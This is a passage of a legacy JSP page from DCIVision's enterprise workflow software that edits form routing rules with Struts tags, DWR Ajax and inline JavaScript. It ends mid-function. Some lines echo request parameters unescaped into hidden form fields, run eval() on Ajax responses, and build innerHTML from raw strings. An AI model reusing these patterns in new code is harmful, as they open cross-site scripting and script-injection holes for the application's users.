<%
/*
 *
 * @(#)EditFormRoutingRule.jsp
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditFormRoutingRule.jsp

  This class is reflecting business logic uses.

    @author           Vera Wang
    @company          DCIVision Limited
    @creation date    01/09/2004
    @version          $Revision: 1.15.2.8 $
*/
%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<%@ page import="com.dcivision.form.bean.*"%>
<%@ page import="com.dcivision.form.dao.*"%>
<%@ page import="com.dcivision.workflow.bean.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintFormRoutingRuleForm" scope="request" class="com.dcivision.form.web.MaintFormRoutingRuleForm"/>
<script src='<%= request.getContextPath() %>/dwr/interface/FormAjaxProcessor.js'></script>
<script src='<%= request.getContextPath() %>/dwr/engine.js'></script>
<script src='<%= request.getContextPath() %>/dwr/util.js'></script>

<%
  String navMode = (String) maintFormRoutingRuleForm.getNavMode();
  Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  List formElementList = new ArrayList();
  List targetFormElementList = new ArrayList();
  FormRecordDAObject formRecordDAO =  new FormRecordDAObject(sessionContainer, conn);
  if(!Utility.isEmpty(request.getAttribute("formElementList"))){
    formElementList = (List)request.getAttribute("formElementList");
  }
  if(!Utility.isEmpty(request.getAttribute("formElementList"))){
    targetFormElementList = (List)request.getAttribute("targetFormElementList");
  }


  String[][] RULE_TYPE_MAP = { {"form.label.verify_rule", FormRoutingRule.ROUTING_TYPE_VERIFY},
                               {"form.label.calculate_rule", FormRoutingRule.ROUTING_TYPE_CALCULATE}
                             };
  String[][] RULE_TYPE_VERIFY_MAP = { {"form.label.verify_rule", FormRoutingRule.ROUTING_TYPE_VERIFY}
                             };                                  
             
  List optionList = new ArrayList();
  if ( !Utility.isEmpty(request.getAttribute("optionList")) ) {
    optionList = (List) request.getAttribute("optionList");
  }


  //indicate the workflow record was released or not
  boolean isReleased = false;
  isReleased = "true".equals(request.getParameter("isReleased"));

  String[][] FORM_ELEMENT_MAP = new String[formElementList.size()][2];
  String[][] TARGET_FORM_ELEMENT_MAP = new String[targetFormElementList.size()+1][2];
  String[][] OPTION_VALUE_MAP = new String[optionList.size()][2];
  

  String[][] OPERATION_TYPE_MAP = {{"workflow.label.operation_type_string", WorkflowStepFormEquat.OPERATION_TYPE_STRING},
                                   {"workflow.label.operation_type_number", WorkflowStepFormEquat.OPERATION_TYPE_NUMBER},                            
                                   {"workflow.label.operation_type_date", WorkflowStepFormEquat.OPERATION_TYPE_DATE}
                                    };
  String[][] OPERATION_TYPE_DATE_MAP = {{"workflow.label.operation_type_string", WorkflowStepFormEquat.OPERATION_TYPE_STRING},
                                        {"workflow.label.operation_type_date", WorkflowStepFormEquat.OPERATION_TYPE_DATE}
                                       };
  String[][] OPERATION_TYPE_NUMBER_MAP = {{"workflow.label.operation_type_string", WorkflowStepFormEquat.OPERATION_TYPE_STRING},
                                          {"workflow.label.operation_type_number", WorkflowStepFormEquat.OPERATION_TYPE_NUMBER}                            
                                         };     
  String[][] OPERATION_TYPE_STRING_MAP = {{"workflow.label.operation_type_string", WorkflowStepFormEquat.OPERATION_TYPE_STRING}
                                          };                         
                       
  String[][] OPERAND_TYPE_MAP =  {{"workflow.label.date_operation_equals", WorkflowStepFormEquat.STRING_OPERATION_EQUALS},
                                   {"form.label.string_operation_not_equals",WorkflowStepFormEquat.STRING_OPERATION_NOT_EQUALS},                            
                                   {"form.label.string_operation_is_empty", WorkflowStepFormEquat.STRING_OPERATION_IS_EMPTY},
                                   {"form.label.string_operation_is_not_empty", WorkflowStepFormEquat.STRING_OPERATION_IS_NOT_EMPTY},                            
                                   {"common.options.criteria.contains", WorkflowStepFormEquat.STRING_OPERATION_CONTAINS},
                                   {"common.options.criteria.starts_with", WorkflowStepFormEquat.STRING_OPERATION_STARTS_WITH}
                                    };
  
  for (int i=0; i<formElementList.size(); i++){
    FormElement formElement = (FormElement)formElementList.get(i);
    String elementName = formElement.getFormPageID()+"_"+formElement.getFormSectionID()+"_"+formElement.getID();    
    FORM_ELEMENT_MAP[i][1] = WorkflowStepFormEquat.ELEMENT_PREFIX_CHAR + elementName;
    FORM_ELEMENT_MAP[i][0] = formElement.getFieldName();
  }
  TARGET_FORM_ELEMENT_MAP[0][1] = "";  
  TARGET_FORM_ELEMENT_MAP[0][0] = MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "common.options.select_menu.select_one");
  for (int i=0; i<targetFormElementList.size(); i++){
    FormElement formElement = (FormElement)targetFormElementList.get(i);
    String elementName = formElement.getFormPageID()+"_"+formElement.getFormSectionID()+"_"+formElement.getID();
    TARGET_FORM_ELEMENT_MAP[i+1][1] = WorkflowStepFormEquat.ELEMENT_PREFIX_CHAR + elementName;  
    TARGET_FORM_ELEMENT_MAP[i+1][0] = formElement.getFieldName();
  }
 
  FormElement currFormElement = (FormElement)maintFormRoutingRuleForm.getFormElement();
  List searchElementList = formRecordDAO.getSearchElementListByFormRecordID(new Integer(request.getParameter("formRecordID")));

%>


<%try{%>
<html:form action="form/MaintFormRoutingRule">
<html:javascript formName="maintFormRoutingRuleForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/
   String operand1 = "";
   String operand2 = "";
   String formEquation = "";
   String routeNameListValue = "";
   boolean haveDefaultRoute = false;

   if(!Utility.isEmpty(request.getParameter("operand1")) ){
     operand1 = request.getParameter("operand1");
     operand1 = TextUtility.replaceString(operand1,"!!!","+");
   }

   if(!Utility.isEmpty(request.getParameter("operand2")) ){
     operand2 = request.getParameter("operand2");
     operand2 = TextUtility.replaceString(operand2,"!!!","+");
   }

   if(!Utility.isEmpty(request.getParameter("formEquation")) ){
     formEquation = request.getParameter("formEquation");
     formEquation = TextUtility.replaceString(formEquation,"!!!","+");
   }


%>

<script language="Javascript">
<!--
var frm = document.maintFormRoutingRuleForm;
function objectEval(text)
{
    // eval() breaks when we use it to get an object using the { a:42, b:'x' }
    // syntax because it thinks that { and } surround a block and not an object
    // So we wrap it in an array and extract the first element to get around
    // this.
    // The regex = [start of line][whitespace]{[stuff]}[whitespace][end of line]
    text = text.replace(/\n/g, " ");
    text = text.replace(/\r/g, " ");
    if (text.match(/^\s*\{.*\}\s*$/)) {
        text = "[" + text + "][0]";
    }

    return eval(text);
}
function hideBlock(b) {
  FindObj(b).style.display = "none";
}

function showBlock(b) {
  FindObj(b).style.display = "block";
}
function OpchangeDeleteItem(which){
  var deleteValue = frm.deleteValue.value;
  var tmpValue ="";
  if(which.checked){
    frm.deleteValue.value+=deleteValue.length>0? ","+which.value : which.value;
  }else{
    if (deleteValue.length>1){
      var deleteValueArr = deleteValue.split(",");
      for (var i=0; i<deleteValueArr.length; i++){
        if (deleteValueArr[i]!=which.value){
          tmpValue +=i+",";    
        }
      }
    }
    frm.deleteValue.value = tmpValue;
  }
}
function OpchangeRuleType(which){
  var comment ="";
  if (which=="<%=FormRoutingRule.ROUTING_TYPE_CALCULATE%>"){    
    comment +="<table width='100%' border='0' cellpadding='0' cellspacing='2'>";    
    comment +="<tr>";
    comment +="<td class='mandatoryLabel' ><bean:message key='form.label.target_element'/>:&nbsp;</td>";       
    comment +="</tr> </table>";
    document.all("spantargetElement").innerHTML=comment;    
    hideBlock('spanCheckRule');				
  }else{    
    comment +="<table width='100%' border='0' cellpadding='0' cellspacing='2'>";    
    comment +="<tr>";
    comment +="<td class='dataLabel' ><bean:message key='form.label.target_element'/>:&nbsp;</td>";       
    comment +="</tr> </table>";
    document.all("spantargetElement").innerHTML=comment;    
    showBlock('spanCheckRule');		
  }
  refreshFormEquation();
  FormAjaxProcessor.getOperationTypeMap(which,<%=request.getAttribute("haveDate").toString()%>,<%=request.getAttribute("haveNumber").toString()%>,updateOperationTypeList);
  FormAjaxProcessor.getElmentList(which,'','<%=maintFormRoutingRuleForm.getFormRecordID()%>', setSelectValue);
}

function OpchangeOperandRefreshForm(which){ 
  FormAjaxProcessor.getElmentList(frm.ruleType.value,which.value,'<%=maintFormRoutingRuleForm.getFormRecordID()%>', setSelectValue);
  FormAjaxProcessor.getOperand(frm.ruleType.value,which.value,updateOperandValue);
  updateValue();
}

function OpAddFieldsShowList(){
  if (!opAddFields()){return false;}
  FormAjaxProcessor.getRuleList(frm.formEquationItem.value,frm.formEquationListValue.value,setSpanComment); 
  clearFormEquation();
  OpchangeRuleType('<%=FormRoutingRule.ROUTING_TYPE_VERIFY%>');  
}

function setSpanComment(routeNameListValue){
  var comment ="";
  var deleteValue = frm.deleteValue.value;
  if (routeNameListValue!=null && routeNameListValue!=""){
    var formEquationItemArr = routeNameListValue.split("$$");
    comment = "<table width='100%' border='0' cellpadding='0' cellspacing='0'> ";
    comment += "<tr>";
    comment += "<td class='dataField' ></td>";    
    comment += "<td class='dataField' ><bean:message key='form.label.routing_rule_name'/></td>";
    comment += "<td class='dataField' ><bean:message key='form.label.routing_rule_type'/></td>";
    comment += "<td class='dataField' ><bean:message key='workflow.label.form_equation'/></td> ";     
    comment += "<td class='dataField' ><bean:message key='form.label.target_element'/></td>";
    comment += "<td class='dataField' ><bean:message key='form.label.check_rule'/></td>";
    comment += "<td class='dataField' ></td>";
    comment += "</tr> ";
    for(var i=1; i<formEquationItemArr.length; i++){
      if (formEquationItemArr[i]!=""){
        var elementArr = formEquationItemArr[i].split(";");
        comment += "<tr>";
        comment += "<td class='dataField'>&nbsp;&nbsp;"+(i-1)+"&nbsp;&nbsp;";     
        comment += "</td>";
        comment += "<td class='dataField'>"+elementArr[0]+"</td>";
        comment += "<td class='dataField'>"+elementArr[6]+"</td>";
        comment += "<td class='dataField'>"+elementArr[3].replace("!!!","+")+"</td>";
        comment += "<td class='dataField'>"+elementArr[7]+"</td>";
        comment += "<td class='dataField'>"+elementArr[8]+"</td>";
        comment += "<td class='dataField' width='20'><input type='checkbox' name='deleteItem' value="+(i-1);
     
        if (deleteValue.length>0){
          var deleteValueArr = deleteValue.split(",");
          for (var ii=0; ii<deleteValueArr.length; ii++){
            if (deleteValueArr[ii]==(i-1)){
              comment += " checked";
           }
         }
       }
        comment += " onchange='OpchangeDeleteItem(this)' /><bean:message key='dms.label.field_detail'/>&nbsp;&nbsp;</b>"
        comment += "</td>";
        comment += "</tr>";  
      }   
    }
    comment += "</table> ";
    document.all("spanListView").innerHTML=comment;
    frm.formEquationListValue.value=routeNameListValue;
  }
}


function setSelectValue(data){
  if (data!=null && data.length>0){
    DWRUtil.removeAllOptions("formElementStr", data);
    DWRUtil.addOptions("formElementStr", objectEval(data));
  }
  
}

function updateOperationTypeList(data){
    //var aa = "{bb:'aaaaaaa',b1:'aaaaaa1'}";    
    DWRUtil.removeAllOptions("operationType", data);
    //DWRUtil.addOptions("operationType", {bb:'aaaaaaa'});    
    DWRUtil.addOptions("operationType", objectEval(data));
    FormAjaxProcessor.getOperand(frm.ruleType.value,frm.operationType.value,updateOperandValue);      
}

function updateOperandValue(data){
  DWRUtil.removeAllOptions("operand", data);
  DWRUtil.addOptions("operand",  objectEval(data));
}

function updateValue(){
  var comment = "<input type='text' name='value' maxlength='100' size='20' value='' disabled='disabled'> ";
  if (frm.operationType.value=="<%=WorkflowStepFormEquat.OPERATION_TYPE_DATE%>"){
    comment = '<input type="text" name="dummy_value" maxlength="10" size="10" value="" onblur="return (fcheck_date(this, \'dd-mm-yyyy\',false,false));"><a href="javascript:void(0);" onmouseover="if (timeoutId) clearTimeout(timeoutId);window.status=\'Show Calendar\';return true;" onclick="gfPop.fPopCalendar(document.maintFormRoutingRuleForm.dummy_value,document.maintFormRoutingRuleForm.value,depRange,false,\'dd-mm-yyyy\',true, null, null, false);"><img src="<%=request.getContextPath()%>/theme/pref<%=sessionContainer.getPreference()%>/img/common/IconCalendar.gif" name="imgCalendar_dummy_value" align="absmiddle" width="34" height="21" border="0" alt=""></a>';
    comment +='<input type="hidden" name="value" value="" >';
  }else if (frm.operationType.value=="<%=WorkflowStepFormEquat.OPERATION_TYPE_NUMBER%>"){
    comment = "<input type='text' name='value' maxlength='100' size='20' value='' onchange='return numericCheck(this.value)'  disabled='disabled'> ";
  }
  document.all("spanValue").innerHTML=comment;
}

function onchangeElement(which){
  FormAjaxProcessor.getOperator(which.value,onchangeValue);
}

function onchangeValue(data){
  if (data!=''){
    document.all("spanValue").innerHTML=data;
  }else{
    updateValue();
  }
}

function OpchangeTargetElement(which){
  if (frm.ruleType.value=="<%=FormRoutingRule.ROUTING_TYPE_CALCULATE%>"){
    frm.formEquation.value = which.options[which.selectedIndex].text + " =";
    frm.operand1.value = which.options[which.selectedIndex].value ;
    frm.compare.value = "=";
    haveCompare = true;
    selectedElement = false;
  }
  
}

function opAddFields(opMode){
    var frm = document.maintFormRoutingRuleForm;
    var operand1;
    var compare;
    var operand2;
    var operationType;
    var formEquation;   
    var formOperationEquation ="";
    var routeName;
    var formEquationItem;
    var routeNameListValue = "<%=routeNameListValue%>";
    var defaultFlag = "<%=GlobalConstant.FALSE%>";
    var ruleType;
    var targetElementID = " ";
    var checkRule = "";
    var displayRuleType;
    var displayTargetElement = "";
    var displayCheckRule = "";
   
    operand1 = frm.operand1.value;
    compare = frm.compare.value;
    operand2 = frm.operand2.value;
    operationType=frm.operationType.value
    formEquation = frm.formEquation.value;
    formOperationEquation =operand1 + " " + compare + "|" + operand2;
    operand2 = trimOperand(operand2);
    formEquation = trimOperand(formEquation);
    routeName = frm.ruleName.value;
    ruleType = frm.ruleType.options[frm.ruleType.selectedIndex].value;
    if (frm.targetElementID.options[frm.targetElementID.selectedIndex].value!=""){
      targetElementID = frm.targetElementID.options[frm.targetElementID.selectedIndex].value;
      displayTargetElement = frm.targetElementID.options[frm.targetElementID.selectedIndex].text;
    }
    displayRuleType = frm.ruleType.options[frm.ruleType.selectedIndex].text;    
    if (frm.checkRule.checked){checkRule="M";displayCheckRule="Mandatory";}
    //formEquationListValue = frm.formEquationListValue.value;

    if(compare != ""){
      haveCompare = true;
    }

    if(routeName == ""){
      alert("<bean:message key="form.label.routing_rule_name"/> <bean:message key='form.message.is_required'/>");
      frm.ruleName.focus();
      return false;
    } else if(routeNameListValue.indexOf(routeName) > -1){
      alert("<bean:message key='workflow.message.duplicated_route_name_is_found'/>");
      frm.ruleName.focus();
      return false;
    } else if(formEquation == ""){
      alert("<bean:message key='workflow.message.form_equation_is_empty'/>");
      return false;
    } else if (!haveCompare){
  //alert("no compare");  
      alert("<bean:message key='workflow.message.the_form_equation_is_lawless'/>");
      return false;
    } else if (operand2 == ""){
      if (compare!="<%=WorkflowStepFormEquat.STRING_OPERATION_IS_EMPTY%>" && compare!="<%=WorkflowStepFormEquat.STRING_OPERATION_IS_NOT_EMPTY%>" ){
        alert("<bean:message key='workflow.message.the_form_equation_is_lawless'/>");
        return false;
      }
    }
   // if(frm.ruleType.value=="<%=FormRoutingRule.ROUTING_TYPE_CALCULATE%>" && frm.targetElement.value==""){
  //    alert("<bean:message key='form.label.target_element'/> <bean:message key='form.message.is_required'/>");
  //    return false;
  //  }
    operand1 = operand1.replace(/\+/ig,"!!!");
    operand2 = operand2.replace(/\+/ig,"!!!");
    formEquation = formEquation .replace(/\+/ig,"!!!");
    formOperationEquation = formOperationEquation .replace(/\+/ig,"!!!");

    formEquationItem =
        routeName + ";" +     
        ruleType + ";" +   
        operationType + ";" +  
        formEquation + ";" +          
        targetElementID + ";" +
        checkRule + ";" +
        displayRuleType + ";" +
        displayTargetElement + ";" +
        displayCheckRule  + ";" +   
        formOperationEquation ;  

    routeNameListValue += ";" + routeName;

    frm.routeNameListValue.value = routeNameListValue;
    frm.formEquationItem.value = formEquationItem;
    return true;
  }
  
  
  
-->
</script>
<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<html:hidden property='formRecordID'/>
<html:hidden property='formEquationListValue'/>
<html:hidden property='formEquationItem'/>
<html:hidden property='routeNameListValue'/>
<html:hidden property='optionElementIDs'/>
<input type="hidden" name="isReleased" value="<%=isReleased%>" />
<input type="hidden" name="operand1" value="<%=operand1%>"/>
<input type="hidden" name="compare" value='<%=!Utility.isEmpty(request.getParameter("compare")) && !"null".equals(request.getParameter("compare"))?request.getParameter("compare"):""%>'/>
<input type="hidden" name="operand2" value="<%=operand2%>"/>
<input type="hidden" name="deleteValue" value=""/>

<table cellpadding="20" cellspacing="0" border="0" width="100%"><tr><td>
<table width="740" cellpadding="0" cellspacing="2" border="0" align="left">
  <!-- Section Header -->
  <layout:sectionHeader name="form.label.routing_rule_info"/>
  
  <%if (!isReleased && !GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
 <tr>
  <td colspan="2">
  <table width="100%" border="0" cellpadding="0" cellspacing="2">    
   <tr>
        <td class="mandatoryLabel" width="20%"><bean:message key="form.label.routing_rule_name"/>:&nbsp;</td>
        <td class="dataField"><html:text property='ruleName' maxlength='100'/></td>
        <td class="dataField"><a href="javascript://" onClick="return OpAddFieldsShowList();"><html:img src='IconMiniAdd.gif'  align='absmiddle'/></a>
        </td>
   </tr> 
   <tr>
    <td class="mandatoryLabel" width="20%">
        <bean:message key='form.label.routing_rule_type'/>:<br>
    </td>
    <td class="dataField" colspan="2">  
      <html:select property='ruleType' onchange='return OpchangeRuleType(this.value)' >
         <%if (request.getAttribute("haveNumber").toString().equals("true")){%>
          <html:options stringArray='<%=RULE_TYPE_MAP%>' hasSelect='false'/>
        <%}else{%>
          <html:options stringArray='<%=RULE_TYPE_VERIFY_MAP%>' hasSelect='false'/>
        <%}%>
      </html:select>
    </td>
   </tr>
   <tr> 
    <td width="20%">
    <span id="spantargetElement">
     <table width="100%" border="0" cellpadding="0" cellspacing="2">    
      <tr>
       <td class="dataLabel" width="20%"><bean:message key="form.label.target_element"/>:&nbsp;</td>  
      </tr> 
     </table>
    </span>
    </td>
    <td class="dataField" colspan="2">
      <html:select property='targetElementID' disabled='false' onchange='return OpchangeTargetElement(this)'> 
       <html:options stringArray='<%=TARGET_FORM_ELEMENT_MAP%>' convertLabel='false' hasSelect='false' />
      </html:select>    
    </td>
   </tr>
   
   <tr >
    <td colspan="3">
    <span id="spanCheckRule">
     <table width="100%" border="0" cellpadding="0" cellspacing="2">    
   <tr>
    <td class="dataLabel" width="20%">
        <bean:message key='form.label.check_rule'/>:
    </td>
    <td class="dataField" width="80%">
        <html:checkbox property="checkRule" value="<%=FormRoutingRule.CHECK_RULE_MANDATORY%>" /> 
        <bean:message key='form.label.required_flag'/>       
    </td>
   </tr>
   </table>
    </span>
  </td>
  </tr>
   <tr>
    <td class="mandatoryLabel" width="20%">
        <bean:message key='workflow.label.query_operation_type'/>:
    </td>
    <td class="dataField" colspan="2">
        <html:select property='operationType' onchange='return OpchangeOperandRefreshForm(this)' >        
          <%if ("true".equals(request.getAttribute("haveDate").toString()) && "true".equals(request.getAttribute("haveNumber").toString())){ %>
              <html:options stringArray='<%=OPERATION_TYPE_MAP%>' hasSelect='false'/>
          <%}else if (request.getAttribute("haveDate").toString().equals("true")){%>
              <html:options stringArray='<%=OPERATION_TYPE_DATE_MAP%>' hasSelect='false'/>
          <%}else if (request.getAttribute("haveNumber").toString().equals("true")){%>
              <html:options stringArray='<%=OPERATION_TYPE_NUMBER_MAP%>' hasSelect='false'/>
          <%}else{%>
              <html:options stringArray='<%=OPERATION_TYPE_STRING_MAP%>' hasSelect='false'/>
          <%}%>       
      </html:select>
       
    </td>
   </tr>
  </table>
 </td>
 </tr>

  <tr>
    <td colspan="2" class="blackline"><html:img src='Spacer.gif'  width='1' height='1'/></td>
  </tr>
  
  <tr>
    <td  colspan="2" class="dataField" width="80%" align="left">
      <table width="100%" border="0" cellpadding="8" cellspacing="0">
       <tr>
        <td width="170" class="dataField" rowspan="3" valign='top'>
          <input type="radio" name="optionItem" value="1" checked onclick="return controlOption(1)"><bean:message key="workflow.label.select_form_element"/><br>
          <html:select property='formElementStr' disabled='false' onchange="return onchangeElement(this)">
            <html:options stringArray='<%=FORM_ELEMENT_MAP%>' hasSelect='false' convertLabel='false'/>
          </html:select>
        </td>
        <td class="dataField" valign='top'>
          <input type="radio" name="optionItem" value="2" onclick="return controlOption(2)"><bean:message key="workflow.label.select_operand"/><br>
          <html:select property='operand' disabled='true'>
            <html:options stringArray='<%=OPERAND_TYPE_MAP%>' hasSelect='false'/>
          </html:select>
        </td>

        <td class="dataField" valign='top'>
           <input type="radio" name="optionItem" value="3" onclick="return controlOption(3)"><bean:message key="workflow.label.set_operator"/><br>          
           <span id="spanValue">
            <html:text property='value' size='20' maxlength='100' disabled='true'/>        
           </span>
        </td>
       </tr>
       <tr>
        <td>
        <%if (!isReleased && !GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%> 
          <html:standardButton label="form.label.add_element" onClick="return addFormEquation()"/>	
        	<html:standardButton label="common.label.search.clear" onClick="return refreshFormEquation()"/>
        <%}%>
        </td>
       </tr>
      </table>
    </td>
  </tr>

  <tr>
    <td colspan="2" class="blackline"><html:img src='Spacer.gif'  width='1' height='1'/></td>
  </tr>
  <tr>
    <td colspan="2">
    <table width="100%" border="0" cellpadding="0" cellspacing="0">
      <tr>
        <td class="mandatoryLabel" width="20%"><bean:message key="workflow.label.form_equation"/>:&nbsp;</td>
        <td class="dataField">&nbsp;&nbsp;</td>
      </tr>
    </table>
    </td>
  </tr>
  <tr>
    <td colspan="2" class="dataField">&nbsp;&nbsp;<html:textarea property="formEquation" cols="60"  rows="5" readonly="true" value=''/></td>
  </tr>
    
  <tr>
    <td colspan="2" class="blackline"><html:img src='Spacer.gif'  width='1' height='1'/></td>
  </tr>
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
  </tr>
  <%}%>
  <tr>
   <td colspan="2">
    <span id="spanListView">
    <table width="100%" border="0" cellpadding="0" cellspacing="0">
    <%if(!Utility.isEmpty(maintFormRoutingRuleForm.getFormEquationListValue())){%>
      <tr>
       <td class="dataField" ></td>
       <td class="dataField" ><bean:message key="form.label.routing_rule_name"/></td>
       <td class="dataField" ><bean:message key='form.label.routing_rule_type'/></td>
       <td class="dataField" ><bean:message key="workflow.label.form_equation"/></td>      
       <td class="dataField" ><bean:message key="form.label.target_element"/></td>
       <td class="dataField" ><bean:message key='form.label.check_rule'/></td>
       <td class="dataField" ></td>
      </tr> 
  <%}%>
  
  <%
    String formEquationListValue = maintFormRoutingRuleForm.getFormEquationListValue();
    if(!Utility.isEmpty(formEquationListValue)){
      String[] formEquationItemArr = TextUtility.splitString(formEquationListValue,"$$");
  
      for(int i=0; i<formEquationItemArr.length; i++){
        String[] elementArr = TextUtility.splitString(formEquationItemArr[i],";");
        routeNameListValue += elementArr[0];       
   
    %>

   <tr>
    <td class="dataField">    
      &nbsp;&nbsp;<%=i%>.&nbsp;&nbsp;     
    </td>
    <td class="dataField"><%=elementArr[0]%></td>
    <td class="dataField"><%=elementArr[6]%></td>
    <td class="dataField"><%=TextUtility.replaceString(elementArr[3],"!!!"," + ")%>     </td>
    <td class="dataField"><%=elementArr[7]%></td>
    <td class="dataField"><%=elementArr[8]%></td>
    <td class="dataField" width="20">
    <%if(!isReleased && !GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)){%>
    <b><input type="checkbox" name="deleteItem" value="<%=i%>" onchange="OpchangeDeleteItem(this)"><bean:message key="dms.label.field_detail"/>&nbsp;&nbsp;</b>
    <%}%>
    </td>
  </tr>
  
    <%    
      }
    }
  %>
   </table>
  </span>
  </td>
 </tr> 
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
  </tr>

  <tr>
    <td colspan="2"><layout:auditTrail/></td>
  </tr>
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
  </tr>
  <tr>
    <td colspan="2" align="center">
    <!-- The Buttons for Actions Handling -->
    <%if (!isReleased && !GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
      <html:standardButton label="common.label.save" onClick="return custOpSave()"/>
    <%} else if (!GlobalConstant.OP_MODE_DELETE.equals(maintFormRoutingRuleForm.getOpMode())) {%>
      <logic:permission right='E'>
      <%if(!isReleased ){%>
        <html:standardButton label="common.label.edit" link='<%="MaintFormRoutingRule.do?navMode=E&formRecordID=${maintFormRoutingRuleForm.formRecordID}&isReleased="+isReleased+"&SHOW_HEADER_FOOTER=N"%>'/>
      <%}else{%>
        <html:standardButton label="common.label.edit" disable="true"/>
      <%}%>
      <html:standardButton label="common.label.edit" disable="true"/>
      </logic:permission>
      
    <%}%>
     <%if (GlobalConstant.NAV_MODE_EDIT.equals(ACTION_MODE)) {%>
      <html:permissionButton label="common.label.delete" right="D" onClick="return OpDelete()"/>
    <%}%>
      <html:standardButton label="common.label.close" onClick="javascript:window.close();"/>
    </td>
  </tr>
</table>
</td></tr></table>
<%if (!isReleased && !GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
<script language="Javascript">
<!--
var haveCompare = false;
var selectedElement = false;
var selectedCompare = false;
var isOptionElement = false;
<%if(!Utility.isEmpty(formEquation)){%>
  selectedElement = true;
<%}%>

var operationType;


function custOpSave() {

  var parent = window.opener;
  var frm;
  var formEquationListValue;
  var tmpRouteArr;
  var checked = false;  
  frm = document.maintFormRoutingRuleForm;

  
  if (frm.formEquation.value!=""){
    if (!opAddFields()){return false;}
  }
  formEquationListValue = frm.formEquationListValue.value;

  tmpRouteArr = formEquationListValue.split("$$");

  formEquationListValue = "";

  for(var i=0; i<tmpRouteArr.length; i++){
    checked = false;
    if( frm.deleteItem && frm.deleteItem.length){
      for(var j=0; j<frm.deleteItem.length; j++){
        if(i == frm.deleteItem[j].value && frm.deleteItem[j].checked  ){
          checked = true;
          break;
        }
      }
    } else if(frm.deleteItem && frm.deleteItem.checked){
      checked = true;
    }
    if(!checked){
      if(formEquationListValue == ""){
        formEquationListValue = tmpRouteArr[i];
      } else {
        formEquationListValue += "$$" + tmpRouteArr[i];
      }
    }
  }

  if(formEquationListValue == "" && frm.formEquationItem.value==""){
    alert("<bean:message key='form.message.please_set_a_routing_rule_first'/>");
    return false;
  }
 OpSave();
 return (false);	

}

function controlOption(option){
  if(option == 1){
    document.maintFormRoutingRuleForm.formElementStr.disabled = false;
    document.maintFormRoutingRuleForm.operand.disabled = true;
    document.maintFormRoutingRuleForm.value.disabled = true;
  } else if(option == 2){
    document.maintFormRoutingRuleForm.formElementStr.disabled = true;
    document.maintFormRoutingRuleForm.operand.disabled = false;
    document.maintFormRoutingRuleForm.value.disabled = true;
  } else if(option == 3){
    document.maintFormRoutingRuleForm.formElementStr.disabled = true;
    document.maintFormRoutingRuleForm.operand.disabled = true;
    document.maintFormRoutingRuleForm.value.disabled = false;
  }

  //return (false);
}

function addFormEquation(){
  var optionValue;
  var formEquation;
  var operand1;
  var operand2;
  var compare;
  var formRecord = "";
  //if the rule type is Calculate, then select the target element first.
  if (frm.ruleType.value!="<%=FormRoutingRule.ROUTING_TYPE_VERIFY%>" && frm.formEquation.value==""){
    alert("<bean:message key='form.message.please_select_target_element'/>");
    return (false);
  }
  
  operand1 = frm.operand1.value;
  compare = frm.compare.value;
  operand2 = frm.operand2.value;
  formEquation = frm.formEquation.value;

  if (frm.formRecordID.length > 1) {
    formRecord = frm.formRecordID.options[frm.formRecordID.selectedIndex].text;
    formRecord += ".";
  }  

  if(compare != "" ){
    haveCompare = true;
  }
  for (var i = 0; i < frm.optionItem.length; i++) {
    if(frm.optionItem[i].checked){
      optionValue = frm.optionItem[i].value;
    }
  }

  formEquation += " ";

  if(optionValue == 1){
    if(selectedElement){
      alert("<bean:message key='workflow.message.please_add_an_operand_first'/>");
      return false;
    }
    for (var j = 0; j < frm.formElementStr.options.length; j++) {
      if(frm.formElementStr.options[j].selected){
        formEquation += formRecord + "[" + frm.formElementStr.options[j].text + "]";  
        if(!haveCompare){
          operand1 += frm.formElementStr.options[j].value + "|";
        } else {
          operand2 += frm.formElementStr.options[j].value + "|";
        }     
      }
    }
    selectedElement = true;
    selectedCompare = false;

  } else if(optionValue == 2){
    if(selectedCompare){
      alert("<bean:message key='workflow.message.please_add_an_operator_first'/>");
      return false;
    }
    for (var k = 0; k < frm.operand.options.length; k++) {
      if(frm.operand.options[k].selected){
        if(frm.operand.options[k].value != '+' &&
           frm.operand.options[k].value != '-' &&
           frm.operand.options[k].value != '*' &&
           frm.operand.options[k].value != '/' ) {
           if(!haveCompare){
             haveCompare = true;
             frm.compare.value = frm.operand.options[k].value;
           } else {
             alert("<bean:message key='workflow.message.compare_operation_already'/>");
             return false;
           }
